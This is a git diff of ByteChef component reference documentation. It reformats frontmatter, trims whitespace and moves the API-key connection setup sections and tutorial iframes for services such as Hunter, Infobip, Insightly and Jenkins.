-  "name" : "generateVideoFromTemplateAction",
-  "parameters" : {
-    "template_id" : "",
-    "folder_id" : "",
-    "caption" : false,
-    "enable_sharing" : false
-  },
-  "type" : "heyGen/v1/generateVideoFromTemplateAction"
-}
-```
-
-#### Output
-
-
-
-Type: OBJECT
-
-
-#### Properties
-
-|     Name     |     Type     |     Description     |
-|:------------:|:------------:|:-------------------:|
-| video_id | STRING | Unique identifier of the generated video. |
-
-
-
-
-#### Output Example
-```json
-{
-  "video_id" : ""
-}
-```
-
-
-
-
-### Translate Video
-Name: translateVideoAction
-
-`Translates a video into one or more of 175+ supported languages with natural-sounding voice and accurate lip-sync.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| video_url | Video URL | STRING | URL of the video file to be translated. Supports direct video file URLs, Google Drive URLs, and YouTube URLs. | true |
-| output_language | Output Language | STRING | The target language in which the video will be translated. | true |
-| title | Title | STRING | Title of the video. | false |
-| translate_audio_only | Translate Audio Only | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>false</span> </details> | Translate only the audio; ideal for videos where the speaker is not visible, such as narrations, voiceovers, etc. | false |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Translate Video",
-  "name" : "translateVideoAction",
-  "parameters" : {
-    "video_url" : "",
-    "output_language" : "",
-    "title" : "",
-    "translate_audio_only" : false
-  },
-  "type" : "heyGen/v1/translateVideoAction"
-}
-```
-
-#### Output
-
-
-
-Type: OBJECT
-
-
-#### Properties
-
-|     Name     |     Type     |     Description     |
-|:------------:|:------------:|:-------------------:|
-| video_translate_id | STRING | Unique identifier of the translated video. |
-
-
-
-
-#### Output Example
-```json
-{
-  "video_translate_id" : ""
-}
-```
-
-
-
-
-### Upload Asset
-Name: uploadAssetAction
-
-`Uploads a media file to the authenticated user's HeyGen account.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| fileEntry | File Entry | FILE_ENTRY | Asset file to upload. | true |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Upload Asset",
-  "name" : "uploadAssetAction",
-  "parameters" : {
-    "fileEntry" : {
-      "extension" : "",
-      "mimeType" : "",
-      "name" : "",
-      "url" : ""
-    }
-  },
-  "type" : "heyGen/v1/uploadAssetAction"
-}
-```
-
-#### Output
-
-
-
-Type: OBJECT
-
-
-#### Properties
-
-|     Name     |     Type     |     Description     |
-|:------------:|:------------:|:-------------------:|
-| id | STRING | Unique identifier of the uploaded asset. |
-| name | STRING | ID assigned to the uploaded asset. |
-| file_type | STRING | Type of the uploaded asset, for example, audio, video, or image. |
-| folder_id | STRING | Unique identifier of the folder that contains the asset. |
-| meta | STRING | Metadata related to the uploaded asset. |
-| created_ts | INTEGER | Unix timestamp when the asset was created. |
-| url | STRING | URL to access or download the uploaded file. |
-| image_key | STRING | Image key for image-type assets. |
-
-
-
-
-#### Output Example
-```json
-{
-  "id" : "",
-  "name" : "",
-  "file_type" : "",
-  "folder_id" : "",
-  "meta" : "",
-  "created_ts" : 1,
-  "url" : "",
-  "image_key" : ""
-}
-```
-
-
-
-
-
-## Triggers
-
-
-### Video Generation Completed
-Name: videoGenerationCompletedTrigger
-
-`Triggers when a video generation completes successfully.`
-
-Type: DYNAMIC_WEBHOOK
-
-
-#### Output
-
-
-
-Type: OBJECT
-
-
-#### Properties
-
-|     Name     |     Type     |     Description     |
-|:------------:|:------------:|:-------------------:|
-| video_id | STRING |  |
-| url | STRING |  |
-| gif_download_url | STRING |  |
-| video_share_page_url | STRING |  |
-| folder_id | STRING |  |
-| callback_id | STRING |  |
-
-
-
-
-#### JSON Example
-```json
-{
-  "label" : "Video Generation Completed",
-  "name" : "videoGenerationCompletedTrigger",
-  "type" : "heyGen/v1/videoGenerationCompletedTrigger"
-}
-```
-
-
-
-### Video Generation Failed
-Name: videoGenerationFailedTrigger
-
-`Triggers when a video fails to generate.`
-
-Type: DYNAMIC_WEBHOOK
-
-
-#### Output
-
-
-
-Type: OBJECT
-
-
-#### Properties
-
-|     Name     |     Type     |     Description     |
-|:------------:|:------------:|:-------------------:|
-| video_id | STRING |  |
-| msg | STRING |  |
-| callback_id | STRING |  |
-
-
-
-
-#### JSON Example
-```json
-{
-  "label" : "Video Generation Failed",
-  "name" : "videoGenerationFailedTrigger",
-  "type" : "heyGen/v1/videoGenerationFailedTrigger"
-}
-```
-
-
-
-
-
-## What to do if your action is not listed here?
-
-If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
-
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
diff --git a/docs/content/docs/reference/components/http-client_v1.mdx b/docs/content/docs/reference/components/http-client_v1.mdx
index bb7a10c4554..3ef532c5f3d 100644
--- a/docs/content/docs/reference/components/http-client_v1.mdx
+++ b/docs/content/docs/reference/components/http-client_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "HTTP Client"
-description: "Makes an HTTP request and returns the response data."
+description: "HTTP Client component. Make HTTP requests in workflows. Learn how to implement this in your ByteChef workflows."
+title: HTTP Client
 ---
 
-
 Categories: Helpers
 
 
@@ -108,7 +107,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -169,8 +167,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### POST
 Name: post
 
@@ -236,8 +232,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### PUT
 Name: put
 
@@ -303,8 +297,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### PATCH
 Name: patch
 
@@ -370,8 +362,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### DELETE
 Name: delete
 
@@ -426,8 +416,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### HEAD
 Name: head
 
@@ -477,12 +465,4 @@ Name: head
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/hubspot_v1.mdx b/docs/content/docs/reference/components/hubspot_v1.mdx
index b59148d9839..e203796b7f8 100644
--- a/docs/content/docs/reference/components/hubspot_v1.mdx
+++ b/docs/content/docs/reference/components/hubspot_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Hubspot"
-description: "HubSpot is a CRM platform with all the software, integrations, and resources you need to connect marketing, sales, content management, and customer service."
+description: "HubSpot component for ByteChef. CRM and marketing automation. Learn how to implement this in your ByteChef workflows."
+title: Hubspot
 ---
 
-
 Categories: Marketing Automation
 
 
@@ -33,7 +32,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -70,8 +68,6 @@ This action does not produce any output.
 
 
 
-
-
 ### Get Contact
 Name: getContact
 
@@ -128,8 +124,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Update Contact
 Name: updateContact
 
@@ -195,8 +189,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Contact
 Name: createContact
 
@@ -260,8 +252,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Deal
 Name: createDeal
 
@@ -325,8 +315,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Ticket
 Name: getTicket
 
@@ -384,8 +372,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -435,7 +421,6 @@ Type: OBJECT
 ```
 
 
-
 ### New Deal
 Name: newDeal
 
@@ -482,7 +467,6 @@ Type: OBJECT
 ```
 
 
-
 ### New Ticket
 Name: newTicket
 
@@ -531,10 +515,8 @@ Type: OBJECT
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
+To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/hugging-face_v1.mdx b/docs/content/docs/reference/components/hugging-face_v1.mdx
index 727d79e26ca..071c26af815 100644
--- a/docs/content/docs/reference/components/hugging-face_v1.mdx
+++ b/docs/content/docs/reference/components/hugging-face_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Hugging Face"
-description: "Hugging Face is on a journey to advance and democratize artificial intelligence through open source and open science."
+description: "Hugging Face component for ByteChef. AI model library. Learn how to implement this in your ByteChef workflows."
+title: Hugging Face
 ---
 
-
 Categories: Artificial Intelligence
 
 
@@ -31,7 +30,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -92,12 +90,4 @@ Name: ask
 
 #### Output
 
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-
-
+The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/hunter_v1.mdx b/docs/content/docs/reference/components/hunter_v1.mdx
index 7c24d6705aa..d5122efb8cf 100644
--- a/docs/content/docs/reference/components/hunter_v1.mdx
+++ b/docs/content/docs/reference/components/hunter_v1.mdx
@@ -28,22 +28,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-Connect Hunter to ByteChef using an API Key.
-
-### Get your Hunter API key
-1. Log in to your Hunter account: https://hunter.io/dashboard
-2. In the left sidebar, click **API**.
-3. Click **Create new key** (or generate a new key).
-4. Copy the generated API key and keep it handy.
-
-For details, see Hunter’s API authentication docs: https://hunter.io/api-documentation
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/ofjNrNG6zPIxgb0AmGZ4?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -120,8 +104,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Company Enrichment
 Name: companyEnrichment
 
@@ -184,8 +166,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Combined Enrichment
 Name: combinedEnrichment
 
@@ -266,8 +246,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Lead
 Name: createLead
 
@@ -340,11 +318,28 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+Connect Hunter to ByteChef using an API Key.
+
+### Get your Hunter API key
+1. Log in to your Hunter account: https://hunter.io/dashboard
+2. In the left sidebar, click **API**.
+3. Click **Create new key** (or generate a new key).
+4. Copy the generated API key and keep it handy.
+
+For details, see Hunter’s API authentication docs: https://hunter.io/api-documentation
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/ofjNrNG6zPIxgb0AmGZ4?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/image-helper_v1.mdx b/docs/content/docs/reference/components/image-helper_v1.mdx
index ab221df13df..feabe516448 100644
--- a/docs/content/docs/reference/components/image-helper_v1.mdx
+++ b/docs/content/docs/reference/components/image-helper_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Image Helper"
-description: "Helper component which contains various actions for image manipulation."
+description: "Image Helper component. Image manipulation operations. Learn how to implement this in your ByteChef workflows."
+title: Image Helper
 ---
 
-
 Categories: Helpers
 
 
@@ -26,7 +25,7 @@ Name: compressImage
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| image | Image | FILE_ENTRY | The image file to process. | true |
+| image | Image | FILE_ENTRY |  | true |
 | quality | Quality | NUMBER | Compression quality of the image. | true |
 | resultFileName | Result File Name | STRING | Specifies the output file name for the result image. | true |
 
@@ -79,8 +78,6 @@ Type: FILE_ENTRY
 ```
 
 
-
-
 ### Crop Image
 Name: cropImage
 
@@ -90,11 +87,11 @@ Name: cropImage
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| image | Image | FILE_ENTRY | The image file to process. | true |
-| x | X Coordinate | INTEGER | The horizontal starting point of the crop area. | true |
-| y | Y Coordinate | INTEGER | The vertical starting point of the crop area. | true |
-| width | Width | INTEGER | Width of the crop area. | true |
-| height | Height | INTEGER | Height of the crop area. | true |
+| image | Image | FILE_ENTRY |  | true |
+| x | X Coordinate | INTEGER | The horizontal starting point of the crop area | true |
+| y | Y Coordinate | INTEGER | The vertical starting point of the crop area | true |
+| width | Width | INTEGER | Width of the crop area | true |
+| height | Height | INTEGER | Height of the crop area | true |
 | resultFileName | Result File Name | STRING | Specifies the output file name for the result image. | true |
 
 #### Example JSON Structure
@@ -149,8 +146,6 @@ Type: FILE_ENTRY
 ```
 
 
-
-
 ### Get Image Metadata
 Name: getImageMetadata
 
@@ -160,7 +155,7 @@ Name: getImageMetadata
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| image | Image | FILE_ENTRY | The image file to process. | true |
+| image | Image | FILE_ENTRY |  | true |
 | resultFileName | Result File Name | STRING | Specifies the output file name for the result image. | true |
 
 #### Example JSON Structure
@@ -188,8 +183,6 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
-
 ### Image to Base64
 Name: imageToBase64
 
@@ -199,7 +192,7 @@ Name: imageToBase64
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| image | Image | FILE_ENTRY | The image file to process. | true |
+| image | Image | FILE_ENTRY |  | true |
 
 #### Example JSON Structure
 ```json
@@ -231,8 +224,6 @@ Type: STRING
 
 
 
-
-
 ### Resize Image
 Name: resizeImage
 
@@ -242,9 +233,9 @@ Name: resizeImage
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| image | Image | FILE_ENTRY | The image file to process. | true |
-| width | Width | INTEGER | The target width of the image in pixels. | true |
-| height | Height | INTEGER | The target height of the image in pixels. | true |
+| image | Image | FILE_ENTRY |  | true |
+| width | Width | INTEGER | Width in pixels | true |
+| height | Height | INTEGER | Height in pixels | true |
 | resultFileName | Result File Name | STRING | Specifies the output file name for the result image. | true |
 
 #### Example JSON Structure
@@ -297,8 +288,6 @@ Type: FILE_ENTRY
 ```
 
 
-
-
 ### Rotate Image
 Name: rotateImage
 
@@ -308,7 +297,7 @@ Name: rotateImage
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| image | Image | FILE_ENTRY | The image file to process. | true |
+| image | Image | FILE_ENTRY |  | true |
 | degree | Degree | INTEGER <details> <summary> Options </summary> <span>90</span>, <span>180</span>, <span>270</span> </details> | Specifies the degree of clockwise rotation applied to the image. | true |
 | resultFileName | Result File Name | STRING | Specifies the output file name for the result image. | true |
 
@@ -358,10 +347,4 @@ Type: FILE_ENTRY
   "name" : "",
   "url" : ""
 }
-```
-
-
-
-
-
-
+```
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/in-memory-chat-memory_v1.mdx b/docs/content/docs/reference/components/in-memory-chat-memory_v1.mdx
index 2bbe4456fd0..8f4b65242ce 100644
--- a/docs/content/docs/reference/components/in-memory-chat-memory_v1.mdx
+++ b/docs/content/docs/reference/components/in-memory-chat-memory_v1.mdx
@@ -1,18 +1,11 @@
 ---
-title: "In Memory Chat Memory"
-description: "In Memory Chat Memory."
+description: "In Memory Chat Memory component for ByteChef. Store and manage conversation history in memory for AI workflows."
+title: In Memory Chat Memory
 ---
 
-
 Categories: Artificial Intelligence
 
 
 Type: inMemoryChatMemory/v1
 
-<hr />
-
-
-
-
-
-
+<hr />
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/index.mdx b/docs/content/docs/reference/components/index.mdx
index 9a0760f4466..be86da4759c 100644
--- a/docs/content/docs/reference/components/index.mdx
+++ b/docs/content/docs/reference/components/index.mdx
@@ -1,5 +1,19 @@
 ---
-title: Components
-index: true
-description: Blocks for workflow definitions.
+description: "Components Reference for ByteChef. Comprehensive guide for all 200+ integrations. Learn to use, configure, and extend components."
+title: Components Reference
 ---
+
+## Available Components
+
+- [Retable](/reference/components/retable)
+- [Query Expander](/reference/components/query-expander)
+- [Query Transformer](/reference/components/query-transformer)
+- [Document Joiner](/reference/components/document-joiner)
+
+## Getting Started
+
+To get started with ByteChef components, check out our [developer guide](/developer-guide).
+
+## Need Help?
+
+If you have any questions, please refer to our [documentation](/docs) or [contact support](/support).
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/infobip_v1.mdx b/docs/content/docs/reference/components/infobip_v1.mdx
index fb52c592113..64311800ae6 100644
--- a/docs/content/docs/reference/components/infobip_v1.mdx
+++ b/docs/content/docs/reference/components/infobip_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Infobip"
-description: "Infobip is a global communications platform that provide cloud-based messaging and omnichannel communication solutions for businesses."
+description: "Infobip component for ByteChef. Communication platform and messaging. Learn how to implement this in your ByteChef workflows."
+title: Infobip
 ---
 
-
 Categories: Communication
 
 
@@ -30,21 +29,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-1. Navigate to https://portal.infobip.com/homepage.
-2. Open left sidebar menu.
-3. Expand **Developer Tools** and click on **API Keys**.
-4. Click on **Create api key**.
-5. Fill in the required fields.
-6. Select all needed Scopes.
-7. Click on **CREATE**.
-8. You have your API key.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/7e252985-dce7-48b9-bf79-50e81568ca22?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -120,8 +104,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Send Whatsapp Template Message
 Name: sendWhatsappTemplateMessage
 
@@ -187,8 +169,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Send WhatsApp Text Message
 Name: sendWhatsappTextMessage
 
@@ -254,8 +234,6 @@ Type: OBJECT
 
 
 
-
-
 ## Triggers
 
 
@@ -290,7 +268,6 @@ The output for this action is dynamic and may vary depending on the input parame
 ```
 
 
-
 ### New WhatsApp Message
 Name: newWhatsappMessage
 
@@ -326,10 +303,27 @@ The output for this action is dynamic and may vary depending on the input parame
 
 
 
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+1. Navigate to https://portal.infobip.com/homepage.
+2. Open left sidebar menu.
+3. Expand **Developer Tools** and click on **API Keys**.
+4. Click on **Create api key**.
+5. Fill in the required fields.
+6. Select all needed Scopes.
+7. Click on **CREATE**.
+8. You have your API key.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
+<iframe src="https://www.guidejar.com/embed/7e252985-dce7-48b9-bf79-50e81568ca22?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/insightly_v1.mdx b/docs/content/docs/reference/components/insightly_v1.mdx
index 8787b70744b..fa3cefd7f49 100644
--- a/docs/content/docs/reference/components/insightly_v1.mdx
+++ b/docs/content/docs/reference/components/insightly_v1.mdx
@@ -25,23 +25,11 @@ Version: 1
 
 |      Name       |      Label     |     Type     |     Description     | Required |
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| url | API URL | STRING |  | true |
+| pod | Pod | STRING | Your instances pod can be found under your API URL, e.g. https://api.&#123;pod&#125;.insightly.com/v3.1 | true |
 | username | API Key | STRING |  | true |
 
 
 
-## Connection Setup
-
-1. Navigate to your [dashboard](https://www.insightly.com/).
-2. Click this icon.
-3. Click **User Setting**.
-4. Here you can see your API key and URL.
-5. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/7f515ee3-f426-4df3-b8db-ec67e2956fc0?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
-
 
 
 <hr />
@@ -115,8 +103,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Organization
 Name: createOrganization
 
@@ -174,8 +160,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Create Task
 Name: createTask
 
@@ -231,11 +215,24 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
 To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
 
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+1. Navigate to your [dashboard](https://www.insightly.com/).
+2. Click this icon.
+3. Click **User Setting**.
+4. Here you can see your API key and URL.
+5. Done 🚀.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/7f515ee3-f426-4df3-b8db-ec67e2956fc0?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
diff --git a/docs/content/docs/reference/components/intercom_v1.mdx b/docs/content/docs/reference/components/intercom_v1.mdx
index 6851eba19f7..681b57a232c 100644
--- a/docs/content/docs/reference/components/intercom_v1.mdx
+++ b/docs/content/docs/reference/components/intercom_v1.mdx
@@ -1,9 +1,8 @@
 ---
-title: "Intercom"
-description: "Intercom is the complete AI-first customer service solution, giving exceptional experiences for support teams with AI agent, AI copilot, tickets, ..."
+description: "Intercom component for ByteChef. Customer messaging and support. Learn how to implement this in your ByteChef workflows."
+title: Intercom
 ---
 
-
 Categories: Customer Support
 
 
@@ -32,7 +31,6 @@ Version: 1
 
 
 
-
 <hr />
 
 
@@ -104,8 +102,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Get Contact
 Name: getContact
 
@@ -163,8 +159,6 @@ Type: OBJECT
 ```
 
 
-
-
 ### Send Message
 Name: sendMessage
 
@@ -232,11 +226,8 @@ Type: OBJECT
 
 
 
-
-
 ## What to do if your action is not listed here?
 
 If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
 
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
+To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/jenkins_v1.mdx b/docs/content/docs/reference/components/jenkins_v1.mdx
index 6c68c01a7f7..2d282f86088 100644
--- a/docs/content/docs/reference/components/jenkins_v1.mdx
+++ b/docs/content/docs/reference/components/jenkins_v1.mdx
@@ -1,9 +1,9 @@
 ---
-title: "Jenkins"
-description: "Jenkins is leading open source automation server, Jenkins provides hundreds of plugins to support building, deploying and automating any project."
+description: 'description: Jenkins is leading open source automation server, Jenkins
+  provides hundreds'
+title: Jenkins
 ---
 
-
 Categories: Developer Tools
 
 
@@ -31,23 +31,6 @@ Version: 1
 
 
 
-## Connection Setup
-
-### Create Jenkins API Token
-
-1. Click on **Manage Jenkins** icon.
-2. Click on **Users**.
-3. Click this icon on the user you want to create the API token for.
-4. Click on **Security**.
-5. Click on **Add new token**.
-6. Enter name of the token and then click on **Generate**.
-7. Copy token, you will not be able to see the whole token again.
-8. Click on **Done**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/152dd033-4f42-4501-88cc-e6a5a4a2d4e2?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
 
 
 <hr />
@@ -89,8 +72,6 @@ This action does not produce any output.
 
 
 
-
-
 ## Triggers
 
 
@@ -129,6 +110,37 @@ Type: OBJECT
   "type" : "jenkins/v1/newJobStatusNotification"
 }
 ```
+
+
+
+
+## What to do if your action is not listed here?
+
+If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
+
+To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
+
+<hr />
+
+# Additional Instructions
+
+## Connection Setup
+
+### Create Jenkins API Token
+
+1. Click on **Manage Jenkins** icon.
+2. Click on **Users**.
+3. Click this icon on the user you want to create the API token for.
+4. Click on **Security**.
+5. Click on **Add new token**.
+6. Enter name of the token and then click on **Generate**.
+7. Copy token, you will not be able to see the whole token again.
+8. Click on **Done**.
+
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/152dd033-4f42-4501-88cc-e6a5a4a2d4e2?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
+</div>
+
 ## Trigger Setup
 
 ### Enable Notification Plugin
@@ -143,7 +155,7 @@ Type: OBJECT
 8. Wait for everything to finish downloading.
 9. Click on **Go back to the top page**.
 
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
     <iframe src="https://www.guidejar.com/embed/ef274d47-9a11-4394-afde-2b93679f73b2?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -155,17 +167,6 @@ Type: OBJECT
 4. Paste Webhook URL. See [Deploy documentation](https://docs.bytechef.io/automation/deploy) on how to get Webhook URL.
 5. Click on **Save**.
 
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
     <iframe src="https://www.guidejar.com/embed/41f291bd-ac7c-4cec-af6b-c5922be20ac0?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
-
-
-
-
-## What to do if your action is not listed here?
-
-If this component doesn't have the action you need, you can use **Custom Action** to create your own. Custom Actions empower you to define HTTP requests tailored to your specific requirements, allowing for greater flexibility in integrating with external services or APIs.
-
-To create a Custom Action, simply specify the desired HTTP method, path, and any necessary parameters. This way, you can extend the functionality of your component beyond the predefined actions, ensuring that you can meet all your integration needs effectively.
-
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/jira_v1.mdx b/docs/content/docs/reference/components/jira_v1.mdx
index f8c122758e9..06071381172 100644
--- a/docs/content/docs/reference/components/jira_v1.mdx
+++ b/docs/content/docs/reference/components/jira_v1.mdx
@@ -30,40 +30,6 @@ Version: 1
 
 
 
-## Connection Setup
-
